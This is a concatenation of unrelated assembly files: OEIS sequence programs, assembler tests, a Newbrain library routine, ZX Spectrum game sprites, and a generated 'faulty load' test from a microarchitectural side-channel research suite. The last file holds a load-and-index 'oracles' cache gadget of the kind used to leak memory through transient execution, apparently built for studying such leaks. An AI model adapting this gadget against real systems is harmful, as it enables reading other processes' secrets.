4,260185536,268476993,276965065,285652836,294543414,303639931,312945543,322463430,332196796,342148869,352322901,362722168,373349970,384209631,395304499,406637946,418213368,430034185,442103841,454425804,467003566,479840643,492940575,506306926,519943284,533853261,548040493,562508640,577261386,592302439,607635531,623264418,639192880,655424721,671963769,688813876,705978918,723462795,741269431,759402774,777866796,796665493,815802885,835283016,855109954,875287791,895820643,916712650,937967976,959590809,981585361,1003955868,1026706590,1049841811,1073365839,1097283006,1121597668,1146314205,1171437021,1196970544,1222919226,1249287543,1276079995,1303301106,1330955424,1359047521,1387581993,1416563460,1445996566,1475885979,1506236391,1537052518,1568339100,1600100901,1632342709,1665069336,1698285618,1731996415,1766206611,1800921114,1836144856,1871882793,1908139905,1944921196,1982231694,2020076451,2058460543,2097389070,2136867156,2176899949,2217492621,2258650368,2300378410,2342681991,2385566379,2429036866,2473098768,2517757425,2563018201,2608886484,2655367686,2702467243,2750190615,2798543286,2847530764,2897158581,2947432293,2998357480,3049939746,3102184719,3155098051,3208685418,3262952520,3317905081,3373548849,3429889596,3486933118,3544685235,3603151791,3662338654,3722251716,3782896893
mov $12,$0
mov $14,$0
lpb $14,1
clr $0,12
mov $0,$12
sub $14,1
sub $0,$14
mov $9,$0
mov $11,$0
lpb $11,1
mov $0,$9
sub $11,1
sub $0,$11
mov $5,$0
lpb $0,1
sub $0,2
mov $2,$0
mul $2,6
mul $2,$0
mov $0,1
mul $2,2
mov $5,5
add $7,8
add $7,$2
add $5,$7
sub $5,6
mov $7,0
lpe
add $10,$5
lpe
add $13,$10
lpe
mov $1,$13
|
||||
TheStack | 533510cd791f46beb6447d8f9c41d6c078868599 | Assemblycode:Assembly | {"size": 144, "ext": "asm", "max_stars_repo_path": "other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Item-p.asm", "max_stars_repo_name": "prismotizm/gigaleak", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Item-p.asm", "max_issues_repo_name": "prismotizm/gigaleak", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/kart/risc.lzh/risc/join/Item-p.asm", "max_forks_repo_name": "prismotizm/gigaleak", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 20.5714285714, "max_line_length": 47, "alphanum_fraction": 0.8055555556} | Name: Item-p.asm
Type: file
Size: 55566
Last-Modified: '1992-07-30T05:00:32Z'
SHA-1: 1D5F1B62D8673DB0AEE1ECF331716ACDFBC3E399
Description: null
|
||||
TheStack | 131c34dd033e4e624ab5917659b0878769eb3307 | Assemblycode:Assembly | {"size": 1262, "ext": "asm", "max_stars_repo_path": "programs/oeis/246/A246305.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "programs/oeis/246/A246305.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/246/A246305.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 157.75, "max_line_length": 1074, "alphanum_fraction": 0.7440570523} | ; A246305: Numbers k such that cos(k) > cos(k+1) < cos(k+2) > cos(k+3).
; 1,7,14,20,26,33,39,45,51,58,64,70,77,83,89,95,102,108,114,121,127,133,139,146,152,158,165,171,177,183,190,196,202,208,215,221,227,234,240,246,252,259,265,271,278,284,290,296,303,309,315,322,328,334,340,347,353,359,366,372,378,384,391,397,403,410,416,422,428,435,441,447,454,460,466,472,479,485,491,498,504,510,516,523,529,535,541,548,554,560,567,573,579,585,592,598,604,611,617,623,629,636,642,648,655,661,667,673,680,686,692,699,705,711,717,724,730,736,743,749,755,761,768,774,780,787,793,799,805,812,818,824,831,837,843,849,856,862,868,875,881,887,893,900,906,912,918,925,931,937,944,950,956,962,969,975,981,988,994,1000,1006,1013,1019,1025,1032,1038,1044,1050,1057,1063,1069,1076,1082,1088,1094,1101,1107,1113,1120,1126,1132,1138,1145,1151,1157,1164,1170,1176,1182,1189,1195,1201,1208,1214,1220,1226,1233,1239,1245,1251,1258,1264,1270,1277,1283,1289,1295,1302,1308,1314,1321,1327,1333,1339,1346,1352,1358,1365,1371,1377,1383,1390,1396,1402,1409,1415,1421,1427,1434,1440,1446,1453,1459,1465,1471,1478,1484,1490,1497,1503,1509,1515,1522,1528,1534,1541,1547,1553,1559,1566
add $0,367
cal $0,246394 ; Nonnegative integers k satisfying cos(k) <= 0 and cos(k+1) >= 0.
mov $1,$0
sub $1,2309
|
||||
TheStack | cad353ede25fec32ee9e50ecbd783f4b39ec7752 | Assemblycode:Assembly | {"size": 404, "ext": "asm", "max_stars_repo_path": "2011400_NguyenTuanKiet_Lab3/bt10.asm", "max_stars_repo_name": "alumica/KTMT", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "2011400_NguyenTuanKiet_Lab3/bt10.asm", "max_issues_repo_name": "alumica/KTMT", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "2011400_NguyenTuanKiet_Lab3/bt10.asm", "max_forks_repo_name": "alumica/KTMT", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 13.9310344828, "max_line_length": 31, "alphanum_fraction": 0.4653465347} | .model small
.stack
.data
.code
xor bx, bx
mov al, '3' ;vd: nhap so 3
and al, 0Fh
shl bx, 1
or bl, al
mov cx, 16
printLoop:
rol bx, 1
jc print1
mov dl, '0'
mov ah, 2
int 21h
jmp exit
print1:
mov dl, '1'
mov ah, 2
int 21h
exit:
dec cx
cmp cx, 0
jne printLoop
mov ah, 4Ch
int 21h
end |
||||
TheStack | 7da5ea991dfa37db2d7c44bc160054f987f12a66 | Assemblycode:Assembly | {"size": 255, "ext": "asm", "max_stars_repo_path": "tests/rule_nested_ambiguous.asm", "max_stars_repo_name": "clubby789/customasm", "max_stars_repo_stars_event_min_datetime": "2021-01-02T13:38:01.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-02T13:38:01.000Z", "max_issues_repo_path": "tests/rule_nested_ambiguous.asm", "max_issues_repo_name": "clubby789/customasm", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/rule_nested_ambiguous.asm", "max_forks_repo_name": "clubby789/customasm", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 12.75, "max_line_length": 45, "alphanum_fraction": 0.5098039216} | ; ::: include
#subruledef inner
{
{x} => 0x11 @ x`8
{x}$ => 0x22 @ x`8
}
#ruledef test
{
ld {x: inner}$ => 0x55 @ x`16
}
; :::
ld 0xaa ; error: no match
; :::
ld 0xaa$ ; error: ambiguous / error: no match
; :::
ld 0xaa$$ ; error: no match
|
||||
TheStack | 66752d69ab2ac77c859ac10c20c55921d6a88a55 | Assemblycode:Assembly | {"size": 682, "ext": "asm", "max_stars_repo_path": "oeis/176/A176735.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/176/A176735.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/176/A176735.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 42.625, "max_line_length": 472, "alphanum_fraction": 0.7991202346} | ; A176735: a(n) = (n+8)*a(n-1) + (n-1)*a(n-2), a(-1)=0, a(0)=1.
; Submitted by Jamie Morken(s1)
; 1,9,91,1019,12501,166589,2394751,36920799,607496041,10622799089,196677847971,3843107102339,79025598374461,1705654851091749,38551739502886471,910569176481673319,22431936328103456721,575367515026293191129,15340898308261381733611,424560869593530584247819,12179181416475822611877541,361687478469669467429405069,11106387163836076297731580431,352255126605251093513125904879,11527610956136264747267855306041,388865284591022762904154246816449,13509609949998180557422940774410291
mov $3,1
lpb $0
sub $0,1
mov $2,$3
mul $2,9
add $2,$1
mul $3,$0
mov $1,$3
add $3,$2
lpe
mov $0,$3
|
||||
TheStack | 7facba34f1813e4f3e3422d399e4a5c252d85413 | Assemblycode:Assembly | {"size": 602, "ext": "asm", "max_stars_repo_path": "programs/oeis/077/A077850.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "programs/oeis/077/A077850.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/077/A077850.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 40.1333333333, "max_line_length": 428, "alphanum_fraction": 0.76910299} | ; A077850: Expansion of (1-x)^(-1)/(1 - 2*x - x^2 + x^3).
; 1,3,8,19,44,100,226,509,1145,2574,5785,13000,29212,65640,147493,331415,744684,1673291,3759852,8448312,18983186,42654833,95844541,215360730,483911169,1087338528,2443227496,5489882352,12335653673,27717962203,62281695728,139945699987,314455133500,706574271260,1587657976034,3567435089829,8015953884433,18011684882662,40471888559929,90939508118088,204339219913444,459146059385048,1031691830565453,2318190500602511,5208926772385428
mov $1,1
lpb $0,1
sub $0,1
mov $2,$1
add $3,$1
add $4,1
mov $1,$4
add $1,$3
mov $4,$2
lpe
add $1,$3
|
||||
TheStack | 07c8f402df2eb35d84bcfb703c1ff7bf37448a25 | Assemblycode:Assembly | {"size": 11359, "ext": "asm", "max_stars_repo_path": "zxims.asm", "max_stars_repo_name": "jorgicor/altair", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "zxims.asm", "max_issues_repo_name": "jorgicor/altair", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "zxims.asm", "max_forks_repo_name": "jorgicor/altair", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 16.0664780764, "max_line_length": 78, "alphanum_fraction": 0.6328902192} | ; ----------------------------------------------------------------------------
; Altair, CIDLESA's 1981 arcade game remade for the ZX Spectrum and
; Amstrad CPC.
; ----------------------------------------------------------------------------
; Shot.
shot00 .db 1, 4
.db %11000000
.db %11000000
.db %11000000
.db %11000000
shot01 .db 1, 4
.db %01100000
.db %01100000
.db %01100000
.db %01100000
shot02 .db 1, 4
.db %00110000
.db %00110000
.db %00110000
.db %00110000
shot03 .db 1, 4
.db %00011000
.db %00011000
.db %00011000
.db %00011000
shot04 .db 1, 4
.db %00001100
.db %00001100
.db %00001100
.db %00001100
shot05 .db 1, 4
.db %00000110
.db %00000110
.db %00000110
.db %00000110
shot06 .db 1, 4
.db %00000011
.db %00000011
.db %00000011
.db %00000011
shot07 .db 2, 4
.db %00000001, %10000000
.db %00000001, %10000000
.db %00000001, %10000000
.db %00000001, %10000000
shot10 .db 1, 4
.db %00000000
.db %11000000
.db %11000000
.db %00000000
shot11 .db 1, 4
.db %00000000
.db %01100000
.db %01100000
.db %00000000
shot12 .db 1, 4
.db %00000000
.db %00110000
.db %00110000
.db %00000000
shot13 .db 1, 4
.db %00000000
.db %00011000
.db %00011000
.db %00000000
shot14 .db 1, 4
.db %00000000
.db %00001100
.db %00001100
.db %00000000
shot15 .db 1, 4
.db %00000000
.db %00000110
.db %00000110
.db %00000000
shot16 .db 1, 4
.db %00000000
.db %00000011
.db %00000011
.db %00000000
shot17 .db 2, 4
.db %00000000, %00000000
.db %00000001, %10000000
.db %00000001, %10000000
.db %00000000, %00000000
cross_shot_im
.db 1, 8
.db %00000000
.db %01000010
.db %00100100
.db %00011000
.db %00011000
.db %00100100
.db %01000010
.db %00000000
fire_im0
.db 1, 8
.db %00000000
.db %00011000
.db %10101010
.db %01010101
.db %10101010
.db %10101010
.db %01010101
.db %00011000
; Left wing.
lwng_im .db 1, 8
.db %00000000
.db %00000000
.db %00110000
.db %00110001
.db %00111011
.db %00111110
.db %00111111
.db %00110000
; Right wing.
rwng_im .db 1, 8
.db %00000000
.db %00000000
.db %00001100
.db %10001100
.db %11011100
.db %01111100
.db %11111100
.db %00001100
wing_co .db 1, 1
.db RED
; Body.
ship_im .db 1, 8
.db %00100100
.db %01100110
.db %11111111
.db %11011011
.db %00011000
.db %01111110
.db %11111111
.db %11100111
ship_co .db 1, 1
.db WHITE
; Cannon.
cnon_im .db 1, 8
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %00011000
.db %00011000
.db %00011000
.db %00100100
cnon_co .db 1, 1
.db YELLOW
house_im_0
.db HOUSE_IM_WC, 8
.db 0, 0, 0
.db %00111100, %00000000, %00111100
.db %01111110, %01111110, %01111110
.db %11111111, %11000011, %11111111
.db %11111111, %11000011, %11111111
.db %01111110, %01111110, %01111110
.db %00111100, %00000000, %00111100
.db 0, 0, 0
house_co_0
.db HOUSE_IM_WC, 1
.db GREEN, RED, GREEN
house_im_1
.db HOUSE_IM_WC, 8
.db 0, 0, 0
.db %00000000, %00111100, %00000000
.db %01111110, %01111110, %01111110
.db %11000011, %11111111, %11000011
.db %11000011, %11111111, %11000011
.db %01111110, %01111110, %01111110
.db %00000000, %00111100, %00000000
.db 0, 0, 0
house_co_1
.db HOUSE_IM_WC, 1
.db RED, GREEN, RED
; alimNF: N number of alien, F frame of alien.
alim00 .db 2, ALIEN_IM_H
.db %11110000, 0
.db %11001011, 0
.db %00000100, 0
.db %00000111, 0
.db %11001011, 0
.db %11110000, 0
alim01 .db 2, ALIEN_IM_H
.db %00110000, 0
.db %00001011, 0
.db %00000111, 0
.db %00000111, 0
.db %00001011, 0
.db %00110000, 0
alim10 .db 2, ALIEN_IM_H
.db %11100100, 0
.db %01000110, 0
.db %11101011, 0
.db %01111110, 0
.db %01000110, 0
.db %11110011, 0
alim11 .db 2, ALIEN_IM_H
.db %01100100, 0
.db %01000110, 0
.db %01101011, 0
.db %01111110, 0
.db %01000110, 0
.db %01110011, 0
alim20 .db 2, ALIEN_IM_H
.db %11000001, 0
.db %11101011, 0
.db %11111110, 0
.db %11111110, 0
.db %11101011, 0
.db %11000001, 0
alim21 .db 2, ALIEN_IM_H
.db %11000001, 0
.db %11101011, 0
.db %11111111, 0
.db %11111111, 0
.db %11101011, 0
.db %11000001, 0
; This one does not have 2 frames, only changes color.
alim31
alim30 .db 2, ALIEN_IM_H
.db %10000110, 0
.db %10011110, 0
.db %11111011, 0
.db %11111111, 0
.db %10111110, 0
.db %10000110, 0
alim40 .db 2, ALIEN_IM_H
.db %11100001, 0
.db %00111011, 0
.db %00011111, 0
.db %00011111, 0
.db %00111011, 0
.db %11100001, 0
alim41 .db 2, ALIEN_IM_H
.db %00100001, 0
.db %11111011, 0
.db %00011111, 0
.db %00011111, 0
.db %11111011, 0
.db %00100001, 0
alim50 .db 2, ALIEN_IM_H
.db %00110010, 0
.db %11111110, 0
.db %11111110, 0
.db %11101111, 0
.db %11001111, 0
.db %10000001, 0
alim51 .db 2, ALIEN_IM_H
.db %00110010, 0
.db %11111110, 0
.db %11111110, 0
.db %11101111, 0
.db %01101111, 0
.db %00100001, 0
; This one does not have 2 frames.
alim60 .db 2, ALIEN_IM_H
.db %11000001, 0
.db %11100111, 0
.db %01111101, 0
.db %00111111, 0
.db %01110110, 0
.db %11100010, 0
explosion_im0
.db 2, 11
.db %00000010, %00000100
.db %00100011, %00011100
.db %00011111, %11111000
.db %10111001, %00110000
.db %11111100, %01100000
.db %01110000, %00111000
.db %00100010, %00110000
.db %11110111, %10111100
.db %00111110, %11010000
.db %00011000, %10010000
.db %00010000, %00000000
explosion_im1
.db 2, 10
.db %00000000, %00000000
.db %00001100, %00100000
.db %00000001, %00000000
.db %00000111, %11000000
.db %00010111, %10010000
.db %00001111, %11000000
.db %00011111, %11000000
.db %00001010, %01000000
.db %00000000, %00010000
.db %00010010, %00000000
explosion_im2
.db 2, 12
.db %10000000, %10000000
.db %01100001, %10000001
.db %00111001, %11000011
.db %00011111, %01111111
.db %00001100, %00001100
.db %00000100, %00011000
.db %00011000, %00001100
.db %01110000, %00001110
.db %00011101, %01101111
.db %00011111, %11111011
.db %00111000, %01100001
.db %01000000, %01000000
mine_im .db 1, 7
.db %00000000
.db %01000010
.db %01100110
.db %10111101
.db %11100111
.db %01100110
.db %00111100
bird_up .db 6, 8
.db %00000000, %00000000, %00000000, 0, 0, 0
.db %00000000, %00000000, %00001100, 0, 0, 0
.db %00000000, %00000000, %00001100, 0, 0, 0
.db %00000001, %11111000, %01111100, 0, 0, 0
.db %00000001, %11111000, %01111100, 0, 0, 0
.db %00000001, %11111111, %11111100, 0, 0, 0
.db %00000001, %11111111, %11111100, 0, 0, 0
.db %00000001, %11111111, %11111111, 0, 0, 0
bird_grid0 .db 1, 8
.db %01100110
.db %01100110
.db %01100110
.db %01100110
.db %01100110
.db %01100110
.db %01100110
.db %01100110
bird_grid1 .db 1, 8
.db %00110011
.db %00110011
.db %00110011
.db %00110011
.db %00110011
.db %00110011
.db %00110011
.db %00110011
bird_grid2 .db 1, 8
.db %10011001
.db %10011001
.db %10011001
.db %10011001
.db %10011001
.db %10011001
.db %10011001
.db %10011001
bird_grid3 .db 1, 8
.db %11001100
.db %11001100
.db %11001100
.db %11001100
.db %11001100
.db %11001100
.db %11001100
.db %11001100
bird_center .db 2, 24
.db %00000001, 0
.db %00111101, 0
.db %00111101, 0
.db %00110001, 0
.db %11111100, 0
.db %10000100, 0
.db %10110101, 0
.db %10000101, 0
.db %11111101, 0
.db %00100001, 0
.db %00100001, 0
.db %00100011, 0
.db %00100011, 0
.db %00100000, 0
.db %00111001, 0
.db %00111011, 0
.db %00111011, 0
.db %00111011, 0
.db %00111011, 0
.db %00000011, 0
.db %00001111, 0
.db %01111111, 0
.db %01111100, 0
.db %00000000, 0
bird_left .db 1, 40
.db %00000001
.db %00000001
.db %00000001
.db %00000001
.db %00000001
.db %00000001
.db %00000001
.db %00000111
.db %00000111
.db %00000111
.db %00000111
.db %00000111
.db %00000111
.db %00000111
.db %00000111
.db %00000111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %00011111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
bird_right .db 1, 40
.db %10000000
.db %10000000
.db %10000000
.db %10000000
.db %10000000
.db %10000000
.db %10000000
.db %11100000
.db %11100000
.db %11100000
.db %11100000
.db %11100000
.db %11100000
.db %11100000
.db %11100000
.db %11100000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111000
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
bird_bleft .db 1, 12
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %00001111
.db %00001111
.db %00001111
.db %00001111
bird_bright .db 1, 12
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11111111
.db %11110000
.db %11110000
.db %11110000
.db %11110000
bird_lwing0 .db 1, 24
.db %00000000
.db %00000000
.db %01110000
.db %01110000
.db %00110000
.db %00111000
.db %00011000
.db %00011100
.db %00111111
.db %01101111
.db %01000111
.db %00000001
.db %00000000
.db %00000000
.db %00000000
.db %00000011
.db %00000011
.db %00000011
.db %00000011
.db %00000000
.db %00000000
.db %00000000
.db %11111111
.db %11111111
bird_lwing1 .db 1, 24
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %01000001
.db %01100111
.db %00101111
.db %00011111
.db %00011100
.db %00011000
.db %00110000
.db %00110011
.db %00110011
.db %01110011
.db %01110011
.db %00000000
.db %00000000
.db %00000000
.db %11111111
.db %11111111
bird_rwing0 .db 1, 24
.db %00000000
.db %00000000
.db %00001110
.db %00001110
.db %00001100
.db %00011100
.db %00011000
.db %00111000
.db %11111100
.db %11110110
.db %11100010
.db %10000000
.db %00000000
.db %00000000
.db %00000000
.db %11000000
.db %11000000
.db %11000000
.db %11000000
.db %00000000
.db %00000000
.db %00000000
.db %11111111
.db %11111111
bird_rwing1 .db 1, 24
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %00000000
.db %10000010
.db %11100110
.db %11110100
.db %11111000
.db %00111000
.db %00011000
.db %00001100
.db %11001100
.db %11001100
.db %11001110
.db %11001110
.db %00000000
.db %00000000
.db %00000000
.db %11111111
.db %11111111
bird_center_co .db 2, 3
.db CYAN, CYAN
.db CYAN, CYAN
.db YELLOW, YELLOW
bird_wing_co .db 1, 3
.db GREEN, GREEN, RED
bird_lshield_im
.db 1
bird_lshield_h
.db 16
.db 0, 0, 0, 0, 0, 0, 0, 0
.db 0, 0, 0, 0, 0, 0, 0, 0
bird_rshield_im
.db 1
bird_rshield_h
.db 16
.db 0, 0, 0, 0, 0, 0, 0, 0
.db 0, 0, 0, 0, 0, 0, 0, 0
; Player life.
hudlife .db %00000000
.db %00001000
.db %00011100
.db %01011101
.db %01111111
.db %01111111
.db %01010101
.db %00000000
|
||||
TheStack | 0bfcdf6455fa908597a98e95fc1e0f685ddf0138 | Assemblycode:Assembly | {"size": 562, "ext": "asm", "max_stars_repo_path": "programs/oeis/314/A314894.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/314/A314894.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/314/A314894.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 21.6153846154, "max_line_length": 177, "alphanum_fraction": 0.6583629893} | ; A314894: Coordination sequence Gal.6.194.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,9,14,19,24,28,33,38,43,47,52,57,61,66,71,76,80,85,90,95,99,104,109,113,118,123,128,132,137,142,147,151,156,161,165,170,175,180,184,189,194,199,203,208,213,217,222,227,232
mov $2,$0
add $2,$0
add $2,6
mov $3,$2
mov $4,$0
add $0,$2
sub $3,6
lpb $0
sub $0,1
trn $0,10
mov $1,7
add $3,3
trn $3,4
lpe
add $1,$3
add $1,3
lpb $4
add $1,3
sub $4,1
lpe
sub $1,9
mov $0,$1
|
||||
TheStack | f3edea69343a1215c2dbf8545815ccd593e8ad9d | Assemblycode:Assembly | {"size": 778, "ext": "asm", "max_stars_repo_path": "libsrc/newbrain/nb_gets.asm", "max_stars_repo_name": "dex4er/deb-z88dk", "max_stars_repo_stars_event_min_datetime": "2018-09-04T23:07:24.000Z", "max_stars_repo_stars_event_max_datetime": "2018-09-04T23:07:24.000Z", "max_issues_repo_path": "libsrc/newbrain/nb_gets.asm", "max_issues_repo_name": "dex4er/deb-z88dk", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libsrc/newbrain/nb_gets.asm", "max_forks_repo_name": "dex4er/deb-z88dk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 13.8928571429, "max_line_length": 59, "alphanum_fraction": 0.4678663239} | ;
; Grundy Newbrain Specific libraries
;
; Stefano Bodrato - 06/06/2007
;
;
; - - - - - - - - - - - - - - - - - - - - -
;
; get a string from stream
;
; - - - - - - - - - - - - - - - - - - - - -
;
; char *nb_gets( int stream, char *bytes );
;
; - - - - - - - - - - - - - - - - - - - - -
;
;
; $Id: nb_gets.asm,v 1.1 2007/06/08 15:15:21 stefano Exp $
;
XLIB nb_gets
LIB ZCALL
.nb_gets
ld ix,2
add ix,sp
ld e,(ix+2) ; stream
ld l,(ix+0) ; block location
ld h,(ix+1)
push hl
ld bc,255 ; read max 255 bytes
call ZCALL
defb $3c ; zblkin
ld a,255
sub c ; number of read bytes
ld e,a
ld d,0
pop hl
push hl
add hl,de
dec hl ; we overwrite the last <CR>
ld (hl),d ; with zero
pop hl
ret
|
||||
TheStack | 2ac1ce8b0e70ab3ca519a06ec29555e9111f41b1 | Assemblycode:Assembly | {"size": 3679, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_911.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_911.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_911.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 87.5952380952, "max_line_length": 2999, "alphanum_fraction": 0.6624082631} | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rbp
push %rdx
push %rsi
// Faulty Load
lea addresses_D+0xba5d, %rsi
nop
nop
sub $39527, %rbp
mov (%rsi), %r9
lea oracles, %r8
and $0xff, %r9
shlq $12, %r9
mov (%r8,%r9,1), %r9
pop %rsi
pop %rdx
pop %rbp
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 